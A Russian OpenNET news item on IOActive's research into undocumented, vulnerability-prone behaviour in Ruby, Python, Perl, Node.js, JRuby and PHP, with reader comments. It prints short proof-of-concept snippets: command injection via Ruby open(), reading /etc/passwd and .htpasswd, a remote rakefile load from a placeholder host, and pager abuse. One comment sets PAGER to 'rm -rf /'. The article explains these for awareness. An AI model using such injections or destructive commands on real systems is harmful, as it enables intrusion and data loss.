The OpenNET Project / Index page

[ новости/++ | форум | wiki | теги ]

10.12.2017 00:07  Неявные свойства языков программирования, которые могут привести к уязвимостям

Исследователи из компании IOActive представили на конференции Black Hat Europe доклад, в котором подвели итоги работы по выявлению недокументированной функциональности в интерпретируемых языках программирования, которая может потенциально стать причиной появления уязвимостей в приложениях. Код разработанного в рамках исследования инструментария ZDiFF (Extended Differential Fuzzing Framework), который применялся для выявления потенциальных уязвимостей, опубликован под лицензией GPLv3.

Примером подобной функциональности, который подтолкнул к проведению исследования, является давно известная особенность открытия ссылок через функцию open() в языке Ruby. При передаче URL в качестве аргумента, данная функция позволяет загрузить удалённую страницу, чем пользуются многие разработчики. При этом не все учитывают, что при отсутствии надлежащей проверки (например, при проверке входных значений через "/^https:/"), вместо URL может быть передана конструкция вида "|head /etc/passwd;\nhttps://url.com", которая приведёт к выполнению кода "head /etc/passwd" в системе.

При проведении fuzzing-тестирования стандартных наборов библиотек популярных языков программирования была выявлена серия недокументированных особенностей в Python, Perl, Node.js, JRuby и PHP, которые сами по себе не являются уязвимостями, но могут стать источником их появления в приложениях:

  • Недокументированный способ выполнения кода в Python, используя метод pipeto() в библиотеке mimetool, метод pipepager в библиотеке pydoc или манипулируя переменной окружения PAGER при выполнении метода pager в pydoc. Например, для выполнения программы id можно использовать
    
       import mimetools 
       print(mimetools.pipeto(None,'id'))
    
       или
       import pydoc
       print(pydoc.pipepager(None,'id')
    
       или
       $ export PAGER="id> bar"
       $ python -c "import pydoc;pydoc.pager('foo')"
    
  • Локальное выполнение кода в программах на языке Perl, использующих функцию embeddable_typemap() из модуля "ExtUtils::Typemaps::Cmd" (не входит в число core-модулей) для загрузки XS typemap, которая имеет неприятную особенность исполнения аргумента как Perl-кода в случае ошибки. Для выполнения программы id можно использовать код (параметр функции embeddable_typemap будет выполнен через eval и результат показан в составе сообщения об ошибке):
    
       use ExtUtils::Typemaps::Cmd;
       print embeddable_typemap("system 'id'");
    
  • Утечка данных из файла в составе сообщения об ошибке в Node.JS. При возможности контролировать имена модулей, загружаемых через вызов require(), в случае попытки загрузки не JavaScript-файла будет сгенерирован SyntaxError, но при использовании JavaScript-движка V8 в составе текста ошибки будет выдано содержимое первой строки файла. Например, попытка выполнить "console.log(require('.htpasswd'))" приведёт к выводу содержимого первой строки файла ".htpasswd" в тексте ошибки.
  • Возможность выполнения кода в программах JRuby, использующих класс Rake. Напрмер, для выполнения команды id можно разместить на внешнем сайте файл http://x.x.x.x/canaryfile с содержимым "пустая строка puts %x(id)" и инициировать обработку ссылки http://x.x.x.x/canaryfile в функции load_rakefile:
    
       require "rake";
       puts Rake.load_rakefile("http://x.x.x.x/canaryfile");
    
  • Выполнение команд в коде на PHP, использующем неопределённые константы, которые интерпретируются как строки. В случае если константы определяются в одном файле, а использующие их вызов в другом, можно напрямую обратиться ко второму файлу и вместо содержимого константы значение будет обработано как строковое имя константы. Например:
    
       echo shell_exec(escapeshellcmd(bash." -c id"));
    
    приведёт к выполнению "bash -c id", хотя по задумке разработчиков в константе bash могли передаваться другие данные.

  1. Главная ссылка к новости (https://www.reddit.com/r/netse...)
  2. OpenNews: Уязвимость в Guile, затрагивающая программы, привязанные к localhost
  3. OpenNews: Зафиксирована массовая атака на уязвимые версии Ruby on Rails
  4. OpenNews: Google продемонстрировал первую успешную атаку на алгоритм хеширования SHA-1
  5. OpenNews: В Bugzilla устранена опасная уязвимость, открывшая новый вид атак на web-приложения
  6. OpenNews: Сравнения языков программирования с позиции безопасности написанного на них кода
Лицензия: CC-BY
Тип: Проблемы безопасности
Ключевые слова: perl, php, ruby, python
При перепечатке указание ссылки на opennet.ru обязательно
Обсуждение Линейный вид | Ajax | Показать все | RSS
 
  • 1.4, Аноним, 01:00, 10/12/2017 [ответить] [смотреть все]
  • –1 +/
    Все нормальные хостеры давно запретили вызов консольных команд из скрипта РНР ... весь текст скрыт [показать]
     
     
  • 2.7, нах, 01:20, 10/12/2017 [^] [ответить] [смотреть все] [показать ветку]  
  • –9 +/
    список этих нормальных дятлов озвучьте, плиз Он не должен быть большим чтоб ... весь текст скрыт [показать] [показать ветку]
     
     
  • 3.21, кавайи, 09:27, 10/12/2017 [^] [ответить] [смотреть все]  
  • +5 +/
    ну и как восстановление пароля связано с запретом на выполнение консольных коман... весь текст скрыт [показать]
     
  • 2.10, Аноним, 01:59, 10/12/2017 [^] [ответить] [смотреть все] [показать ветку]  
  • +1 +/
    Я надеялся что нормальные шареды уже сдохли в эпоху VPS за 1 евро Вы меня ого... весь текст скрыт [показать] [показать ветку]
     
     
  • 3.30, anomymous, 13:42, 10/12/2017 [^] [ответить] [смотреть все]  
  • +2 +/
    VPS за 1 евро требует от хостящегося ещё знаний апача, нгинха, линухов, умения... весь текст скрыт [показать]
     
     
  • 4.53, Аноним, 04:06, 11/12/2017 [^] [ответить] [смотреть все]  
  • +/
    Я чего то не пойму и нафига вам пароли от докер контейнеров там же ничего нет вн... весь текст скрыт [показать]
     
     
  • 5.60, amonymous, 14:37, 11/12/2017 [^] [ответить] [смотреть все]  
  • –2 +/
    Запустите мне на докере на ноде с 8Гб RAM хотя бы 1500 вхостов - приходите.
     
     
  • 6.69, Аноним, 01:07, 12/12/2017 [^] [ответить] [смотреть все]  
  • –2 +/
    Это такой толстый тролинг ну если у вас на тачке живут 1 5к хоумпаг с трафиком ... весь текст скрыт [показать]
     
  • 3.82, Иван, 22:17, 20/12/2017 [^] [ответить] [смотреть все]    [к модератору]  
  • +/
    Это где можно взять VPS за 1 евро? Только с FreeBSD, а не OpenVZ. ihor не предлагайте. Там телефон требуют и деньги без скана паспорта не возвращают.
     
  • 2.40, pavlinux, 20:38, 10/12/2017 [^] [ответить] [смотреть все] [показать ветку]  
  • –3 +/
    Чем консольный head отличается от head php ... весь текст скрыт [показать] [показать ветку]
     
     
  • 3.56, Anonymoustus, 09:44, 11/12/2017 [^] [ответить] [смотреть все]  
  • +6 +/
    Вот он — признак профессионализма. А ведь как умело притворялся…
     
  • 1.9, Gemorroj, 01:55, 10/12/2017 [ответить] [смотреть все]  
  • –1 +/
    про пхп.
    в текущей стабильной версии на неопределенные константы кидает варнинг. https://3v4l.org/LOvdj
    В будущих версиях неопределенные константы  будут кидать эксепшен http://php.net/manual/ru/migration72.incompatible.php#migration72.incompatibl
    ---
    да и вообще, несколько притянуто за уши.
     
     
  • 2.38, Аноним, 19:59, 10/12/2017 [^] [ответить] [смотреть все] [показать ветку]  
  • +2 +/
    Во-первых, удивительно, как кому-то вообще пришло в голову обрабатывать так неоп... весь текст скрыт [показать] [показать ветку]
     
     
  • 3.71, wd, 02:02, 12/12/2017 [^] [ответить] [смотреть все]  
  • +/
    wd perl -le print zzz aaa zzz zzzaaazzz wd perl -le sub aaa 123... весь текст скрыт [показать]
     
     
  • 4.73, Аноним, 04:32, 12/12/2017 [^] [ответить] [смотреть все]  
  • +/
    и хрен бы с ним, можно и без если например научить себя по дефолту использовать ... весь текст скрыт [показать]
     
     
  • 5.81, Клыкастый, 13:20, 18/12/2017 [^] [ответить] [смотреть все]  
  • +/
    Можно Но зачем И можно просто приучить себя к strict - и проще и правильнее ... весь текст скрыт [показать]
     
  • 4.77, Anonymoustus, 09:54, 12/12/2017 [^] [ответить] [смотреть все]  
  • +1 +/
    Даже как-то не верится, что читаешь это на опеннете ... весь текст скрыт [показать]
     
  • 1.14, Аноним, 04:17, 10/12/2017 [ответить] [смотреть все]  
  • –1 +/
    И кто этот pipepager юзает А со своим PAGER так вообще Тоже мне новость, взяли... весь текст скрыт [показать]
     
     
  • 2.15, Аноним, 06:37, 10/12/2017 [^] [ответить] [смотреть все] [показать ветку]  
  • +/
    Да как бы нода тоже довольно притянута Слабо себе представляю ситуацию, когда б... весь текст скрыт [показать] [показать ветку]
     
     
  • 3.16, Аноним, 06:44, 10/12/2017 [^] [ответить] [смотреть все]  
  • +/
    К тому же, в отличии от других проблем, в ноде конкретно эту дыру легко пофиксит... весь текст скрыт [показать]
     
  • 1.17, Аноним, 06:44, 10/12/2017 [ответить] [смотреть все]  
  • +/
    А где же жаба?
     
     
  • 2.34, лютый жабист__, 14:30, 10/12/2017 [^] [ответить] [смотреть все] [показать ветку]  
  • –1 +/
    Неуязвима само собой :>
     
     
  • 3.47, Аноним84701, 23:28, 10/12/2017 [^] [ответить] [смотреть все]  
  • +2 +/
    В смысле, https www opennet ru opennews art shtml num 46167 https www openn... весь текст скрыт [показать]
     
     
  • 4.79, qsdg, 01:13, 14/12/2017 [^] [ответить] [смотреть все]  
  • +/
    Статья была про языки, а не про конкретные программы Или та дыра была из-за как... весь текст скрыт [показать]
     
  • 2.54, qrKot, 09:12, 11/12/2017 [^] [ответить] [смотреть все] [показать ветку]  
  • +2 +/
    Читаем новость недокументированной функциональности в интерпретируемых языках ... весь текст скрыт [показать] [показать ветку]
     
     
  • 3.78, qsdg, 01:09, 14/12/2017 [^] [ответить] [смотреть все]  
  • +/
    Мистер не знает, что Жаба -- интерпретируемый язык У неё есть встроенный JIT ... весь текст скрыт [показать]
     
  • 1.19, ыы, 08:38, 10/12/2017 [ответить] [смотреть все]  
  • +2 +/
    Гора родила мышь...

    Table 2: Number of functions tested per category
    Category Number of Functions Tested
    JavaScript 450
    PHP 1405
    Ruby 2483
    Perl 3105
    Python 3814

     
     
  • 2.20, Аноним, 08:52, 10/12/2017 [^] [ответить] [смотреть все] [показать ветку]  
  • +4 +/
    Вообще интересно как они исследуют тестируют так как к примеру в perl упомянутый... весь текст скрыт [показать] [показать ветку]
     
     
  • 3.39, Stop, 20:09, 10/12/2017 [^] [ответить] [смотреть все]  
  • +5 +/
    Без упоминания перла любой обзор про скриптовые языки становится кастрированным ... весь текст скрыт [показать]
     
  • 3.49, Khedin, 23:35, 10/12/2017 [^] [ответить] [смотреть все]  
  • –3 +/
    включая довольно популярные модули И в свежепоставленном perlbrew 5 26 1 по... весь текст скрыт [показать]
     
     
  • 4.63, angra, 20:44, 11/12/2017 [^] [ответить] [смотреть все]  
  • +/
    Осталось выяснить, кто из них использует именно ExtUtils Typemaps Cmd - модуль... весь текст скрыт [показать]
     
     
  • 5.74, Аноним, 07:16, 12/12/2017 [^] [ответить] [смотреть все]  
  • +/
    Докладываю ExtUtils Typemaps Cmd pm использует никто, поэтому ExtUtils Typem... весь текст скрыт [показать]
     
     
  • 6.75, Аноним, 07:18, 12/12/2017 [^] [ответить] [смотреть все]  
  • +/
    холикрап, вот урл вашей собаке https perl5 git perl org perl git commitdiff d... весь текст скрыт [показать]
     
     ....нить скрыта, показать (6)

  • 1.22, trolleybus, 10:54, 10/12/2017 [ответить] [смотреть все]  
  • +2 +/
    > Неявные свойства языков программирования

    Вообще-то не языков, а реализаций

     
  • 1.23, Аноним, 11:15, 10/12/2017 [ответить] [смотреть все]  
  • +4 +/
    Получите, адепты типа безопасных языков.
     
  • 1.24, ano, 11:32, 10/12/2017 [ответить] [смотреть все]  
  • –1 +/
    мышки и кактусы все в одном месте.
     
  • 1.25, Аноним, 12:41, 10/12/2017 [ответить] [смотреть все]  
  • +/
    $ export PAGER='rm -rf  /'
    $ git diff
     
     
  • 2.41, pavlinux, 20:43, 10/12/2017 [^] [ответить] [смотреть все] [показать ветку]  
  • –1 +/
    О мамонт, если ты был в заморозке последние 15 лет, то просвещаю rm -rf не ... весь текст скрыт [показать] [показать ветку]
     
     
  • 3.44, anonimus, 22:10, 10/12/2017 [^] [ответить] [смотреть все]  
  • +/
    Суть уловить не судьба?
     
  • 3.59, PnDx, 13:16, 11/12/2017 [^] [ответить] [смотреть все]  
  • +/
    Попробуйте так export PAGER rm -rf 2 dev null git diff Удовлетворение ... весь текст скрыт [показать]
     
  • 1.32, Аноним, 13:45, 10/12/2017 [ответить] [смотреть все]  
  • +1 +/
    Да там сами языки - одна большая уязвимость Особенно JS и PHP с их безумной тип... весь текст скрыт [показать]
     
     
  • 2.57, Anonymoustus, 09:50, 11/12/2017 [^] [ответить] [смотреть все] [показать ветку]  
  • +1 +/
    Зато вот принято говорить, что низок порог вхождения, ага.
     
     
  • 3.65, Led, 22:22, 11/12/2017 [^] [ответить] [смотреть все]  
  • –3 +/
    Это не порог, это плинтус ... весь текст скрыт [показать]
     
     
  • 4.67, антон, 22:49, 11/12/2017 [^] [ответить] [смотреть все]  
  • +/
    ... вхождения в ад, вниз, под плинтус.
     
  • 2.80, Аноним, 16:50, 14/12/2017 [^] [ответить] [смотреть все] [показать ветку]  
  • –1 +/
    Компьютеры - одна большая уязвимость.
     
  • 1.35, stalkerdroad, 15:04, 10/12/2017 [ответить] [смотреть все]  
  • –1 +/
    >> PHP
    >> В случае если константы определяются в одном файле, а использующие их вызов в другом, можно напрямую обратиться ко второму файлу

    В современных сайтах обращение к конкретным файлам не возможно. Там все запросы идут через Входной Скрипт.

     
     
  • 2.42, pavlinux, 20:45, 10/12/2017 [^] [ответить] [смотреть все] [показать ветку]  
  • +/
    Кто такие современные сайты и где живёт входной скрипт ... весь текст скрыт [показать] [показать ветку]
     
     
  • 3.52, rshadow, 01:06, 11/12/2017 [^] [ответить] [смотреть все]  
  • +/
    По всей видимости имеется ввиду сайт на современном фреймворке Где в целях кра... весь текст скрыт [показать]
     
     
  • 4.58, stalkerdroad, 12:15, 11/12/2017 [^] [ответить] [смотреть все]  
  • +/
    И в целях безопасности Файл Точки Входа может быть в папке htdocs, а остальные ... весь текст скрыт [показать]
     
  • 1.36, Аноним, 16:19, 10/12/2017 [ответить] [смотреть все]  
  • +1 +/
    Популярными становятся языки, которые пытаются казаться более умными и дружестве... весь текст скрыт [показать]
     
     
  • 2.37, Аноним, 16:23, 10/12/2017 [^] [ответить] [смотреть все] [показать ветку]  
  • +/
    Недоредактировал:
    s/особо//
    s/становиться/становится/
     
  • 1.46, Аноним, 22:33, 10/12/2017 [ответить] [смотреть все]  
  • +8 +/
    Использую перл последние 18 лет, о существовании модуля 'ExtUtils::Typemaps::Cmd' узнал только что из этой статьи.
     
     
  • 2.55, Аноним, 09:40, 11/12/2017 [^] [ответить] [смотреть все] [показать ветку]  
  • –5 +/
    Используешь перл - имеется в виду используешь софт, который использует перл ну ... весь текст скрыт [показать] [показать ветку]
     
     
  • 3.72, Аноним, 04:13, 12/12/2017 [^] [ответить] [смотреть все]  
  • +1 +/
    мог бы и не начинать... весь текст скрыт [показать]
     
  • 1.50, Аноним, 00:01, 11/12/2017 [ответить] [смотреть все]  
  • +2 +/
    zero-cost abstractions такие zero-cost... весь текст скрыт [показать]
     
  • 1.70, Аноним, 01:13, 12/12/2017 [ответить] [смотреть все]  
  • +/
    тогда уж вот так puts Rake load_rakefile my_var И да, мы тут всей конторой гру... весь текст скрыт [показать]
     

     Добавить комментарий
    Имя:
    E-Mail:
    Заголовок:
    Текст:


      Закладки на сайте
      Проследить за страницей
    Created 1996-2018 by Maxim Chirkov  
    ДобавитьРекламаВебмастеруГИД  
    Hosting by Ihor